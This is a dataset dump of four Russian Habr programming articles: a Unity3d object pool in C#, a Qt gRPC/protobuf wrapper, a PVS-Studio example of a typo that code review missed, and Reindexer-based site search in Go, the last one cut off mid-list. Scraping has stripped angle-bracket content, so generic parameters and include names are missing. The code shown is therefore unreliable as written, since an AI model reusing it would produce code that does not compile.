text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Pool объектов для Unity3d
Все знают что операции создания и удаления объектов не дешевые. Например создавать каждый раз пулю и уничтожать, довольно накладно для тех же мобильных устройств. Может стоит не уничтожать пулю, а скрывать ее. Вот решил поделится своей реализацией Pool Manager.
#### Структуры
Для начала, нужно создать интерфейс:
```
public interface IPoolObject
{
T Group { get; }
void Create();
void OnPush();
void FailedPush();
}
```
Для чего нужен именно интерфейс? Универсально, пусть пул не знает с какими объектами работает, он только знает, что у них есть особые методы и свойства.
T — в этом случае идентификатор группы. Пример далее.
Метод Create() — будет играть роль псевдо-конструктора. Ведь когда вы достанете объект из пула, его состояние будет не определено, что может пагубно отразится на дальнейшем его использовании.
Метод OnPush() — будет играть роль псевдо-декструктора. Когда объект попадает в пул, возможно нужно что-то сделать, например выключить какой-то связанный партикл или еще что-то.
Метод FailedPush() — Будет вызван у объекта, в случае не возможности попадания в пул. Например пул заполнен. И что-то бы объект не остался бесхозный, возможно потребуется его уничтожение.
Теперь сам Pool Manager
```
using System.Collections.Generic;
using System;
public class PoolManager where V :IPoolObject
{
public virtual int MaxInstances { get; protected set; }
public virtual int InctanceCount { get { return objects.Count; } }
public virtual int CacheCount { get { return cache.Count; } }
public delegate bool Compare(T value) where T: V;
protected Dictionary> objects;
protected Dictionary> cache;
public PoolManager(int maxInstance)
{
MaxInstances = maxInstance;
objects = new Dictionary>();
cache = new Dictionary>();
}
public virtual bool CanPush()
{
return InctanceCount + 1 < MaxInstances;
}
public virtual bool Push(K groupKey, V value)
{
bool result = false;
if (CanPush())
{
value.OnPush();
if (!objects.ContainsKey(groupKey))
{
objects.Add(groupKey, new List());
}
objects[groupKey].Add(value);
Type type = value.GetType();
if (!cache.ContainsKey(type))
{
cache.Add(type, new List());
}
cache[type].Add(value);
}
else
{
value.FailedPush();
}
return result;
}
public virtual T Pop(K groupKey) where T : V
{
T result = default(T);
if (Contains(groupKey) && objects[groupKey].Count > 0)
{
for (int i = 0; i < objects[groupKey].Count; i++)
{
if (objects[groupKey][i] is T)
{
result = (T)objects[groupKey][i];
Type type = result.GetType();
RemoveObject(groupKey, i);
RemoveFromCache(result, type);
result.Create();
break;
}
}
}
return result;
}
public virtual T Pop() where T: V
{
T result = default(T);
Type type = typeof(T);
if (ValidateForPop(type))
{
for (int i = 0; i < cache[type].Count; i++)
{
result = (T)cache[type][i];
if (result != null && objects.ContainsKey(result.Group))
{
objects[result.Group].Remove(result);
RemoveFromCache(result, type);
result.Create();
break;
}
}
}
return result;
}
public virtual T Pop(Compare comparer) where T : V
{
T result = default(T);
Type type = typeof(T);
if (ValidateForPop(type))
{
for(int i = 0; i < cache[type].Count; i++)
{
T value = (T)cache[type][i];
if (comparer(value))
{
objects[value.Group].Remove(value);
RemoveFromCache(result, type);
result = value;
result.Create();
break;
}
}
}
return result;
}
public virtual bool Contains(K groupKey)
{
return objects.ContainsKey(groupKey);
}
public virtual void Clear()
{
objects.Clear();
}
protected virtual bool ValidateForPop(Type type)
{
return cache.ContainsKey(type) && cache[type].Count > 0;
}
protected virtual void RemoveObject(K groupKey, int idx)
{
if (idx >= 0 && idx < objects[groupKey].Count)
{
objects[groupKey].RemoveAt(idx);
if (objects[groupKey].Count == 0)
{
objects.Remove(groupKey);
}
}
}
protected void RemoveFromCache(V value, Type type)
{
if (cache.ContainsKey(type))
{
cache[type].Remove(value);
if (cache[type].Count == 0)
{
cache.Remove(type);
}
}
}
}
```
На что стоит обратить внимание.
MaxInstances — поле максимального количества pool объектов. В случае, если не возможно поместить в пул очередной объект.
protected Dictionary objects -Контейнер представлен в виде группа — список. При попадании в пул, он отправляется в соответствующую группу. Когда он потребуется, по группе пул вернет первый соответствующий объект. protected Dictionary cache — Кеш объектов по типу. Нужен, исключительно, для красивого метода Pop().
Метод Pop(Compare comparer) — возможно потребуется, чтобы достать объект по условию.
Общий Pool готов. Теперь нужно сделать вариацию для Unity3d. Приступим
```
using UnityEngine;
using System.Collections;
public class UnityPoolManager : MonoBehaviour
{
public static UnityPoolManager Instance {get; protected set;}
public int maxInstanceCount = 128;
protected PoolManager poolManager;
protected virtual void Awake()
{
Instance = this;
poolManager = new PoolManager(maxInstanceCount);
}
public virtual bool CanPush()
{
return poolManager.CanPush();
}
public virtual bool Push(string groupKey, UnityPoolObject poolObject)
{
return poolManager.Push(groupKey, poolObject);
}
public virtual T PopOrCreate(T prefab) where T : UnityPoolObject
{
return PopOrCreate(prefab, Vector3.zero, Quaternion.identity);
}
public virtual T PopOrCreate(T prefab, Vector3 position, Quaternion rotation) where T : UnityPoolObject
{
T result = poolManager.Pop(prefab.Group);
if (result == null)
{
result = CreateObject(prefab, position, rotation);
}
else
{
result.SetTransform(position, rotation);
}
return result;
}
public virtual UnityPoolObject Pop(string groupKey)
{
return poolManager.Pop(groupKey);
}
public virtual T Pop() where T : UnityPoolObject
{
return poolManager.Pop();
}
public virtual T Pop(PoolManager.Compare comparer) where T : UnityPoolObject
{
return poolManager.Pop(comparer);
}
public virtual T Pop(string groupKey) where T : UnityPoolObject
{
return poolManager.Pop(groupKey);
}
public virtual bool Contains(string groupKey)
{
return poolManager.Contains(groupKey);
}
public virtual void Clear()
{
poolManager.Clear();
}
protected virtual T CreateObject(T prefab, Vector3 position, Quaternion rotation) where T : UnityPoolObject
{
GameObject go = Instantiate(prefab.gameObject, position, rotation) as GameObject;
T result = go.GetComponent();
result.name = prefab.name;
return result;
}
}
```
По сути это просто обвертка над первым пулом и Сингелтон. Можно было завернуть иначе. Но получилось бы что-то вроде UnityPoolManager.Instance.Pool.Pop(), а дополнительно создать только пару методов специально для юнити. Но это на усмотрение читателя. Кода получится меньше но появится дополнительный Pool.
PopOrCreate() — нам понадобится вот этот метод для создания объектов.
Push() — у самих пул объектов или Push в менеджере.
Теперь нам понадобится сам GameObject
```
using UnityEngine;
using System.Collections;
public class UnityPoolObject : MonoBehaviour, IPoolObject
{
public virtual string Group { get {return name;} } // та самая группа
public Transform MyTransform { get { return myTransform; } }
protected Transform myTransform;
protected virtual void Awake()
{
myTransform = transform;
}
public virtual void SetTransform(Vector3 position, Quaternion rotation)
{
myTransform.position = position;
myTransform.rotation = rotation;
}
public virtual void Create() // конструктор для пула
{
gameObject.SetActive(true);
}
public virtual void OnPush() // деструктор для пула
{
gameObject.SetActive(false);
}
public virtual void Push() // вызов деструктора
{
UnityPoolManager.Instance.Push(Group, this);
}
public void FailedPush() // не возможно попасть в пул
{
Debug.Log("FailedPush"); // !!!
Destroy(gameObject);
}
}
```
Все объекты будем наследовать от него, и возможно переопределять методы Create и OnPush.
Теперь перейдем к использованию. На примере пули следов и UI List item.
```
public class Bullet : UnityPoolObject // собственно наша пуля, опустим ее реализацию
{
...
}
// создание
Bullet bullet = UnityPoolManager.Instance.PopOrCreate(bulletPrefab, bulletPoint.position, Quaternion.identity);
bullet.Execute(sender, bulletPoint.position, CalculateTarget(target, accuracy01), damage, blockTime, range, bulletSpeed);
...
// уничтожение, точней возращаем в пул
// пуля летит какое-то время и уничтожается
timer-= Time.deltaTime;
if (timer< 0)
{
Push();
}
```
```
public class StepObject : UnityPoolObject // следы
{
...
}
/// Создаем следы и запускаем плавный сброс альфа канала
StepObject stepObject = UnityPoolManager.Instance.PopOrCreate(prefab, sender.position, sender.rotation);
FXManager.Instance.InitDecal(null, stepObject.gameObject, hit, direction);
stepObject.MyTransform.rotation \*= rotation;
StartCoroutine(ApplyDecalC(stepObject));
/// Детализация метода
protected virtual IEnumerator ApplyDecalC(StepObject decalObject)
{
yield return new WaitForSeconds(waitTime); // ждем какое-то время
yield return StartCoroutine(FXManager.Instance.HideOjectC(decalObject.gameObject, hideTime)); // начинаем плавно уничтожать
decalObject.Push(); // альфа в нуле, отправляем в пул
}
```
```
public class ProfileListItem : UnityPoolObject
{
...
}
// УИ элемент - создание
ProfileListItem profileItem = UnityPoolManager.Instance.PopOrCreate(prefab);
...
// различные манипуляции
profileItem.profileId = profileId;
list.AddItem(profileItem); // отправляем в список
// пример уничтожение, это очистка списка. Где для всех элементов вывозится Push
foreach(ProfileListItem item in list)
{
item.Push();
}
```
Надеюсь данный пример поможет вам в написании своих проектов на Unity3d. Отдельное спасибо @ lexxpavlov который подсказал, что нужно описать детальней чем просто интерфейс. | https://habr.com/ru/post/255499/ | null | ru | null |
# Просто еще одна Qt обертка для gRPC и protobuf
Не так давно я озадачился тем, что нет достаточно удобных и простых враппера и генератора для protobuf и gRPC, основанных и полностью совместимых с Qt. Натыкался на статьи, в т.ч. здесь, об обертках, но их использование мне показалось куда менее практичным, чем даже существующее С++ API.
Немного о gRPC и protobuf
-------------------------
Давайте смоделируем ситуацию: Вы собираетесь писать мультиплатформенный проект и Вам нужно выбрать RPC фрейморк для общения с Вашими сервисами. Можно всегда ударить себя кулаком в грудь и сказать «Я сам себе фреймфорк», но мне кажется мы живем в эру готовых решений. Одно из таких решений достаточно давно преподнесла нам одна известная компания. Я не берусь сравнивать RPC фреймворки, это не является целью данной статьи. Просто перечислю, что мне нравится в gRPC:
* Лаконичный и понятный IDL
* Наличие большого количества генераторов для различных платформ
* Сгенерированные клиентский/серверный код, для быстрого и удобного прототипирования и написания тестовых приложений
К сути
------
Ввиду того, что у Qt все итак неплохо с рефлексией типов, а количество метаинформации так и вообще на высшем уровне, пришло осознание, что необходим свой генератор, который генерировал бы «чистейший» Qt код, без вкраплений сторонних библиотек. Так родился qtprotobufgen.
### qtprotobufgen
qtprotobufgen это простейший по своей сути генератор, который основан на API предоставленном libprotoc. На случай если вы захотите смастерить, что-то подобное для своих нужд оставлю небольшой чит-шит.
* У вас есть единая точка входа в плагин класс ::google::protobuf::compiler::CodeGenerator, от которого нужно отнаследоваться
* Виртуальный метод Generate определяет генерацию при работе с отдельным .proto файлом
* Виртуальный метод GenerateAll определяет генерацию при работе с полным скопом .proto файлов предоставленых для генерации либо являющихся зависимостями
* Виртуальный метод HasGenerateAll по сути пережиток сохранившийся от прошлых версий. Верните true
Сразу оговорюсь, что не было никакого желания писать свой собственный парсер/генератор с нуля, поскольку есть готовое решение от разработчиков protobuf. Но при желании можно читать бинарный поток который выдает protoc, либо написать свой собственный парсер proto-файлов.
Во время разработки всплыл один существенный недостаток генератора написанного на компилируемом языке: было сложно уложить генерацию и компиляцию в один стэк CMake. Ввиду того, что Qt делает генерацию метаобъектной-информации, на основе заголовочных файлов имеющих макрос Q\_OBJECT в теле классов объявленных в заголовочном файле, необходимо на этапе конфигурирования (читай cmake) иметь представление о файлах, которые будут предоставлены moc для дальнейшей генерации кода. В качестве решения пришлось прибегнуть к интерпретируемому языку Go(Lang), который не создал дополнительных зависимостей и прекрасно справился со своей задачей, но не прошел достаточного тестирования.
Генератор подчиняется существующим правилам protoc, и на момент написания статьи не вносит никаких дополнительных опций генерации:
```
protoc --plugin=protoc-gen-qtprotobuf=/qtprotobufgen --qtprotobuf\_out= .proto [--qtprotobuf\_opt=out=]
```
Для простоты и удобства использования, можно использовать специально подготовленные рутины cmake, для генерации кода, и встроить их вызов в cmake проект. [Подробнее...](https://github.com/semlanik/qtprotobuf#integration-with-project)
### О библиотеках
Не вижу большого смысла подробно описывать API. Желающие могут [сгенерировать](https://github.com/semlanik/qtprotobuf#documentation-generation) документацию и почитать чуть подробнее об имеющемся на данный момент API.
Проект поделен на 2 логические части qtprotobuf и qtgrpc. Из названий я думаю понятно назначение каждой компоненты. Мы постарались сделать использование максимально удобным, потому есть варианты интеграции как с предсобранной и установленной в системе библиотекой, так и интеграция подпроекта в ваш cmake проект.
Сгенерированный код полностью**\*** экспортируется в QML, что делает работу с gRPC API значительно проще.
### Использование
После интеграции с проектом и выполнения генерации вы получите набор исходных файлов, которые в последствии будут собраны в статическую библиотеку и слинкованы с вашим бинарным файлом. Последние изменения исключили возможность статической регистрации сгенерированных и proto-типов. Поэтому Вам необходимо позаботится об их регистрации в проекте:
```
...
#include
...
int main(int argc, char \*argv[])
{
QtProtobuf::registerProtoTypes();
... //Инициализация и запуск Qt приложения
}
```
На момент написания статьи, нет единого метода для регистрации всех типов сгенерированных для proto-пакета, поэтому необходимо вызвать метод qRegisterProtobufType для всех типов используемых в приложении:
```
...
qRegisterProtobufType();
...
```
Использование библиотек и генератора описано в README, а также проект сопровождает пара примеров. Для тех кто совсем не знаком с gRPC/protobuf предлагаю ознакомится с [официальной документацией](https://grpc.io/docs/quickstart/)
### Для разработчиков
Мы старались придерживаться TDD во время разработки, и не хотим отступать от него. Как показал наш опыт, TDD спасает при рефакторинге либо обновлении API, помогает обнаружить скрытые проблемы. Поэтому если появится желание контрибьютить, будте готовы к написанию юнит, модульных и функциональных тестов.
### **\***Известные проблемы
В данный момент есть ряд проблем связанных с Qt. Часть из них были решены, с нашим либо без нашего участия, но далеко не все вошли в текущие релизы Qt. Основная — недоступность некоторых базовых типов protobuf из qml кода. Думаю ни для кого не секрет, что набор типов доступных в QML весьма ограничен, от части из-за использования V8 в качестве JS движка. Попытка сделать QML чуть более дружелюбным к кастомизированным типам (например fixed32, sint32) не удалась, но получилось исправить источник [проблемы](https://bugreports.qt.io/browse/QTBUG-76303). Текущая имплементация QtNetwork также имеет ряд проблем, но команда Qt оперативно их исправляет.
[QTBUG-77852](https://bugreports.qt.io/browse/QTBUG-77852)
[QTBUG-76303](https://bugreports.qt.io/browse/QTBUG-76303)
[QTBUG-78310](https://bugreports.qt.io/browse/QTBUG-78310)
### Планы
Все текущие активности связаны с устранением проблем в коде проекта либо в коде Qt. Но имеется достаточно большой скоп работ, связанный с новой функциональностью:
1. ~~Переход к единой паре .h/.cpp файлов для сгенерированного кода~~
2. Имплементация серверной части gRPC
3. ~~Переработка API для gRPC credentials~~
4. ~~Распределение сгенерированного кода по директориям и создание плагинов-подпроектов для раздельной подгрузки сгенерированных пакетов и модулей~~
5. ~~Интеграция с qmake~~
6. ~~Внедрение CI~~
Есть некоторый бэклог, который пока хранится в собственном проектном репозитории.
Вместо заключения хотелось бы сказать спасибо товарищам из PVS-Studio, за предоставленный ключ для OSS проектов. С их помощью нашли достаточно критичный баг в сгенерированном коде.
Скачать, посмотреть проект и поиграться с примерами можно [тут](https://github.com/semlanik/qtprotobuf). | https://habr.com/ru/post/467893/ | null | ru | null |
# Почему обзоры кода — это хорошо, но недостаточно
Обзоры кода однозначно нужны и полезны. Это возможность передать знания, обучение, контроль выполнения задачи, улучшение качества и оформления кода, исправление ошибок. Причем можно замечать высокоуровневые ошибки, связанные с используемой архитектурой и алгоритмами. В общем всё хорошо, но люди быстро устают. Поэтому статический анализ великолепно дополняет обзоры и помогает выявлять разнообразнейшие неприметные на глаз ошибки и опечатки. Рассмотрим хороший пример на эту тему.
Попробуйте найти ошибку в коде функции, взятой из библиотеки [structopt](https://github.com/p-ranav/structopt):
```
static inline bool is_valid_number(const std::string &input) {
if (is_binary_notation(input) ||
is_hex_notation(input) ||
is_octal_notation(input)) {
return true;
}
if (input.empty()) {
return false;
}
std::size_t i = 0, j = input.length() - 1;
// Handling whitespaces
while (i < input.length() && input[i] == ' ')
i++;
while (input[j] == ' ')
j--;
if (i > j)
return false;
// if string is of length 1 and the only
// character is not a digit
if (i == j && !(input[i] >= '0' && input[i] <= '9'))
return false;
// If the 1st char is not '+', '-', '.' or digit
if (input[i] != '.' && input[i] != '+' && input[i] != '-' &&
!(input[i] >= '0' && input[i] <= '9'))
return false;
// To check if a '.' or 'e' is found in given
// string. We use this flag to make sure that
// either of them appear only once.
bool dot_or_exp = false;
for (; i <= j; i++) {
// If any of the char does not belong to
// {digit, +, -, ., e}
if (input[i] != 'e' && input[i] != '.' &&
input[i] != '+' && input[i] != '-' &&
!(input[i] >= '0' && input[i] <= '9'))
return false;
if (input[i] == '.') {
// checks if the char 'e' has already
// occurred before '.' If yes, return false;.
if (dot_or_exp == true)
return false;
// If '.' is the last character.
if (i + 1 > input.length())
return false;
// if '.' is not followed by a digit.
if (!(input[i + 1] >= '0' && input[i + 1] <= '9'))
return false;
}
else if (input[i] == 'e') {
// set dot_or_exp = 1 when e is encountered.
dot_or_exp = true;
// if there is no digit before 'e'.
if (!(input[i - 1] >= '0' && input[i - 1] <= '9'))
return false;
// If 'e' is the last Character
if (i + 1 > input.length())
return false;
// if e is not followed either by
// '+', '-' or a digit
if (input[i + 1] != '+' && input[i + 1] != '-' &&
(input[i + 1] >= '0' && input[i] <= '9'))
return false;
}
}
/* If the string skips all above cases, then
it is numeric*/
return true;
}
```
Чтобы случайно сразу не прочитать ответ, добавлю картинку.
Не знаю, нашли Вы ошибку или нет. Даже если нашли, то уверен согласитесь, что найти такую опечатку непросто. Тем более, вы знали, что в функции есть ошибка. Если не знать, то сложно заставить внимательно читать и проверять весь этот код.
В таких ситуациях статический анализатор кода отлично дополнит классический обзор кода. Анализатор не устаёт и дотошно проверит весь код. Как результат, в этой функции анализатор PVS-Studio замечает аномалию и выдаёт предупреждение:
[V560](https://www.viva64.com/ru/w/v560/) A part of conditional expression is always false: input[i] <= '9'. structopt.hpp 1870
Для тех, кто не заметил ошибку, дам пояснения. Самое главное:
```
else if (input[i] == 'e') {
....
if (input[i + 1] != '+' && input[i + 1] != '-' &&
(input[i + 1] >= '0' && input[i] <= '9'))
return false;
}
```
Вышестоящее условие проверяет, что i-тый элемент является буквой 'e'. Соответственно следующая проверка *input[i] <= '9'* не имеет смысла. Результат второй проверки всегда *false,* о чём и предупреждает инструмент статического анализа. Причина ошибки проста: человек поспешил и опечатался, забыв написать +1.
Фактически получается, что функция не до конца выполняет свою работу по проверке корректности введённых чисел. Правильный вариант:
```
else if (input[i] == 'e') {
....
if (input[i + 1] != '+' && input[i + 1] != '-' &&
(input[i + 1] >= '0' && input[i + 1] <= '9'))
return false;
}
```
**Интересное наблюдение.** Эту ошибку можно рассматривать как разновидность "[эффекта последней строки](https://www.viva64.com/ru/b/0260/)". Ошибка допущена в самом последнем условии функции. В конце внимание программиста ослабло, и он допустил эту малозаметную ошибку.
[](https://viva64.com/ru/pvs-studio-download/)
Если вам понравится статья про эффект последней строки, то рекомендую познакомиться с другими аналогичными наблюдениями: [0-1-2](https://www.viva64.com/ru/b/0713/), [memset](https://www.viva64.com/ru/b/0360/), [сравнения](https://www.viva64.com/ru/b/0509/).
Всем пока. Ставлю лайк тем, кто самостоятельно нашёл ошибку. | https://habr.com/ru/post/520390/ | null | ru | null |
# Поиск по сайту с Reindexer — это просто. Или как сделать «instant search» по всему Хабрахабр-у
Всем привет,
В предыдущей [статье](https://habrahabr.ru/post/346884/) я писал о том, что мы сделали новую in-memory БД — быструю и с богатыми функциональными возможностями — [Reindexer](https://github.com/Restream/reindexer).
В этой статье хочу рассказать как при помощи Reindexer можно реализовать полнотекстовый поиск по сайту, написав минимум application кода.
Вообще, полнотекстовый поиск по сайту — эта важная фича, в наше время, обязательная, для любого интернет сайта. От качества и скорости работы поиска зависит
как быстро пользователи найдут интересующую их информацию или товары, которые они планируют приобрести.
Лет 15-20 назад поиск был абсолютно не интерактивным и простоватым — на сайтах была поисковая строчка и кнопка "Искать". От пользователя требовалось корректно,
без опечаток, и в точной форме ввести, что он хочет найти и нажать кнопку "Искать". Дальше — секунды ожидания, перезагрузка страницы — и вот они результаты.
Зачастую, не те, которые ожидал увидеть пользователь. И все повторялось по новой: ввести новый запрос, кнопка "Искать" и секунды ожидания. По современным меркам — вопиющие издевательство над базовыми принципами UX и пользователями.
За последние десятилетия уровень поисковых движков в среднем заметно подрос — они уже готовы прощать пользователю опечатки, слова в разных словоформах, а самые продвинутые могут преобразовывать поисковые запросы, введённые транслитом или на неверной раскладке клавиатуры, например, так "zyltrc" — "яндекс", по ошибке, введенный на английской раскладке.
Так же, подросла и интерактивность поисковых движков — они научились выдавать "саггесты" — предложения пользователю, что дальше стоит ввести в поисковой строчке, например, пользователь начинает вводит "прези", а ему по мере ввода автоматически предлагается подставить слово "президент".
Еще более продвинутый вариант интерактивного поиска — "search as you type": выдача поиска автоматически отображается по мере того, как пользователь вводит запрос.
Возможностей появилось много, однако, они не бесплатные — чем больше ошибок поиск может исправить, тем медленнее он работает. А если поиск работает медленно, то о саггестах и instant поиске придётся забыть.
Поэтому, зачастую разработчикам приходится идти на компромисс — либо отключать часть функционала, либо отключать интерактивность, либо заливать железом и тратить много денег на серверную инфраструктуру.
Итак, это было немного лирики. Давайте перейдем к практике — реализуем при помощи Reindexer поиск по сайту, без компромиссов.
А начнем мы сразу с результатов — что получилось: распарсили весь Хабр, включая комментарии и метаданные, загрузили его их реиндексер, и сделали бэкенд и фронтенд поиска по всему Хабру.
Пощупать вживую, то, что получилось можно тут: <http://habr-demo.reindexer.org/>
Если говорить про объем данных, то это — около 5гб текста, 170 тысяч статей, 6 миллионов комментариев.
Поиск работает со всеми фичами — транслит, неверная раскладка клавиатуры, опечатки и словоформы.
Однако, дисклеймер — все же собранный "на коленке" проект, за неделю, свободными от прочих дел вечерами. Поэтому прошу не судить строго.
Работает на 1-м VPS 4x CORE, 12 GB RAM. Минимально, можно было бы ужать до 1x CORE, и 10GB RAM, но оставили немного резерва — вдруг хабро-эффект, сами понимаете.
Реализация всего проекта < 1000 строчек, из которых заметная часть — парсер страничек habra, раскладывающий html по структурам с данными.
---
Дальше в статье расскажу, как это реализовано.
Бэкенд
------
### Структура и используемые компоненты
Бэкенд — это golang приложение. В качестве http сервера и роутера используются fasthttp и fasthttprouter. В данном конкретном случае, можно было бы
использовать любой другой набор сервера и роутера, но решил остановиться на них.
В качестве БД используется [reindexer](https://github.com/Restream/reindexer), а для парсинга html страниц — замечательная библиотечка [goquery](http://github.com/PuerkitoBio/goquery)
Структура приложения очень простая и состоит всего из 4-ех модулей:
* Репозиторий — отвечает за работу с хранилищем данных, так же в нем описание моделей данных
* HTTP — отвечает за обработку запросов
* Парсер — отвечает за парсинг страничек Хабра
* main — обработка интерфейса командной строки и запуск/инициализации компонентов
### Методы API
* /api/search – полнотекстовый поиск постов и комментариев
* /api/posts/:id — получение поста по ID
* /api/posts — получение листинга постов с фильтрацией
### Модели данных
Модели данных — это golang структуры. При работе с Reindexer в тэгах полей структуры описываются индексы, которые будут построены по полям.
Остановлюсь на выборе индексов подробнее — от выбора индексов зависит как и скорость выполнения запросов, так и потребляемая память.
Поэтому очень важно назначить правильные индексы полям, по которым предполагается поиск или фильтрация.
Структура с постом:
```
type HabrPost struct {
// Уникальный ID записи. Заводим для него индекс имя `id` и флаг 'pk' - Primary Key
// Это означает, что будет быстрый поиск по полю `id`, и то что Reindexer не разрешит вставить несколько записей с одинаковым id
ID int `reindex:"id,,pk" json:"id"`
// Время поста. В методах API, могут быть сортировки по этому полю, поэтому лучше использовать тип индекса `tree`
Time int64 `reindex:"time,tree,dense" json:"time"`
// Текст поста. Самостоятельных выборок с фильтрацией по полю text нет, поэтому тип индекса `-` - только хранение данных
Text string `reindex:"text,-" json:"text"`
// Заголовок поста. Самостоятельных выборок с фильтрацией по полю title нет, поэтому тип индекса `-` - только хранение данных
Title string `reindex:"title,-" json:"title"`
// Ник пользователя. Методы API предусматривают выборку по имени пользователя, поэтому тип индекса по умолчанию `HASH`
User string `reindex:"user" json:"user"`
// Массив хабов. Обычный HASH индекс, по полю массиву
Hubs []string `reindex:"hubs" json:"hubs"`
// Массив тэгов. Обычный HASH индекс, по полю массиву
Tags []string `reindex:"tags" json:"tags"`
// Количество лайков. Для поля не строится отдельный индекс. Запросов API с фильтрацией по этому полю нет.
// Сортировка по полю `likes` используется только в полнотекстовых запросах, а для сортировки результатов полнотекстового
// поиска по другому полю индекс не используется
Likes int `reindex:"likes,-,dense" json:"likes,omitempty"`
// Количество добавлений в закладки. Тип индекса выбран по аналогии с `likes`
Favorites int `reindex:"favorites,-,dense" json:"favorites,omitempty"`
// Количество просмотров. Тип индекса выбран по аналогии с `likes`
Views int `reindex:"views,-,dense" json:"views"`
// Флаг, если картинка. В запросах не участвует
HasImage bool `json:"has_image,omitempty"`
// Комментарии к статье - массив
Comments []*HabrComment `reindex:"comments,,joined" json:"comments,omitempty"`
// Определение полнотекстового индекса. Поиск по полям title, text, user
// Название полнотекстового индекса - `search`
// Флаг `dense` - уменьшает потребление памяти при построении индекса, но построение индекса будет медленнее
_ struct{} `reindex:"title+text+user=search,text,composite;dense"`
}
```
Структура с комментария заметно проще, поэтому не будем на ней останавливаться.
Реализация метода поиска
------------------------
### Хендлер
На уровне REST API обработчик — это обычный хэндлер fasthttp. Его основная задача — получить параметры запроса, вызвать метод поиска в репозитории и отдать ответ клиенту.
```
func SearchPosts(ctx *fasthttp.RequestCtx) {
// Получить параметры запроса
text := string(ctx.QueryArgs().Peek("query"))
limit, _ := ctx.QueryArgs().GetUint("limit")
offset, _ := ctx.QueryArgs().GetUint("offset")
sortBy := string(ctx.QueryArgs().Peek("sort_by"))
sortDesc, _ := ctx.QueryArgs().GetUint("sort_desc")
// Сходить в репозиторий
items, total, err := repo.SearchPosts(text, offset, limit, sortBy, sortDesc > 0)
// Сформировать ответ клиенту
resp := PostsResponce{
Items: convertPosts(items),
TotalCount: total,
}
respJSON(ctx, resp)
}
```
Основную задачу обращения к поиску выполняет метод репозитория `SearchPosts` — он формирует запрос (Query) в Reindexer, получает ответ и преобразует ответ из
`[]interface{}` в массив указателей на модели `HabrPost`.
```
func (r *Repo) SearchPosts(text string, offset, limit int, sortBy string, sortDesc bool) ([]*HabrPost, int, error) {
// Создаем новый запрос к Reindexer
query := repo.db.Query("posts").
// Обращаемся к полнотекстовому индексу `search`, предварительно превратив введенную строку в DSL
Match("search", textToReindexFullTextDSL(r.cfg.PostsFt.Fields, text)).
ReqTotal()
// Заказываем получение результатов в виде сниппетов:
// Эта запись означает, что в сниппет будет содержать 30 символов до и 30 символов после найденного слова
// найденное слово будет заключено в тэги **и** и каждая строчка с найденным словом будет начинаться
// на "...", а заканчиваться на "...
"
query.Functions("text = snippet(**,**,30,30, ...,...
)")
// Полнотекстовый поиск по умолчанию сортирует по релевантности и игнорирует направление сортировки
// наиболее релевантные записи - выше
// Если требуется сортировка по другому полю, то ее нужно заказать явно вызовом метода `query.Sort`
if len(sortBy) != 0 {
query.Sort(sortBy, sortDesc)
}
// Наложим пэйджинг
applyOffsetAndLimit(query, offset, limit)
// Исполнение запроса. Поиск и формирование результатов будет происходить во время вызова query.Exec ()
it := query.Exec()
// Обработаем ошибку, если она была
if err := it.Error(); err != nil {
return nil, 0, err
}
// По завершении выборки итератор нужно закрыть. Он держит внутренние ресурсы
defer it.Close ()
// Фетчим полученные результаты выборки
items := make([]*HabrPost, 0, it.Count())
for it.Next() {
item := it.Object()
items = append(items, item.(*HabrPost))
}
return items, it.TotalCount(), nil
}
```
### Формирование DSL и правил поиска
Обычно, поисковая строка сайта предполагает ввод запроса обычным человеческим языком, например, "Большие данные в науке" или "Rust vs C++", однако, поисковые движки требуют передачи запроса в формате специального DSL, в котором указывается дополнительные параметры поиска.
В DSL указывается по каким полям будет происходить поиск, подстраиваются релевантности — например, в DSL можно задать, что результаты, найденные по полю "заголовок"- более релевантные, чем результаты в поле "текст поста". Так же, в DSL настраиваются опции поиска, например, искать ли только точные вхождения слова или заодно, искать слово с опечатками.
Reindexer — не исключение, он так же предоставляет для Application DSL интерфейс. Документация по DSL [доступна на github](https://github.com/Restream/reindexer/blob/master/fulltext.md#text-query-format)
За преобразование текста в DSL отвечает функция `textToReindexFullTextDSL`. Функция преобразовывает текст так:
| Введеный текст | DSL | Комментарии |
| --- | --- | --- |
| Большие данные | `@*^0.4,user^1.0,title^1.6 *большие*~ +*данные*~` | Релевантность нахождения в поле `tilte` — 1.6, в поле `user` — 1.0 |
| | | в остальных — 0.4. Искать слово `большие` во всех словоформах |
| | | как префикс или суффикс, а так же искать с опечатками и искать |
| | | все словоформы, `данные`, как суффикс или префикс |
Получение и загрузка данных
---------------------------
Для удобства отладки, мы разделили процесс получения/парсинга данных с Хабра и загрузку их в реиндексер на два отдельных этапа:
### Парсим Хабр
За загрузку и парсинг страничек Хабра отвечает функция `DownloadPost` — ее задача скачать с Хабра статью с указанным ID, распарсить полученную html страничку, а так же загрузить первую картинку из статьи и сделать из нее thumbinail.
Результат работы функции `DownloadPost` — заполненная структура `HabrPost` со всеми полями, включая комментарии к статье и массив `[]byte` с картинкой.
Как устроен парсер, можно посмотреть на [github](https://github.com/olegator77/habr-search/blob/master/parser.go#L106)
В режиме импорта данных приложение вызывает `DownloadPost` в цикле с ID от 1 до 360000 в несколько потоков, а результаты сохраняет в набор json и jpg файлов.
При скачивании в 5 потоков — весь Хабр скачивается примерно за ~8 часов. Из возможных 360000 статей — корректные статьи есть только по 170000 ID-шникам, по остальным ID
возвращается та или иная ошибка.
Суммарный объем распарсенных данных — около 5gb.
### Загружаем данные в Reindexer
После завершения импорта Хабра у нас есть 170к json файлов. За загрузку сета файлов в Reindexer отвечает функция [RestoreAllFromFiles](https://github.com/olegator77/habr-search/blob/master/repo.go#L305)
Эта функция преобразует каждый сохранённый JSON в структуру HabrPost и загружает ее таблички `posts` и `comments`. Обратите внимание, комментарии выделены в отдельную табличку, чтобы была возможность поиска по отдельным комментариям.
Можно бы поступить по другому и хранить все в одной таблице (это, кстати, уменьшило бы размер индекса в памяти), но тогда бы не было возможность поиска отдельных комментариев.
Эта операция не очень долгая — на загрузку всех данных в Reindexer уходит примерно 5-10 минут, в один поток.
### Настройка полнотекстового индекса
У полнотекстового индекса есть целый набор настроек. Эти настройки вместе с настройками из DSL напрямую определяют качество поиска.
В настройки входит:
* список "стоп слов": это слова, которые часто употребляются в документах и не несут никакой смысловой нагрузки.
* опции построения индекса: поддержка транслита/опечатки/неверная раскладка клавиатуры
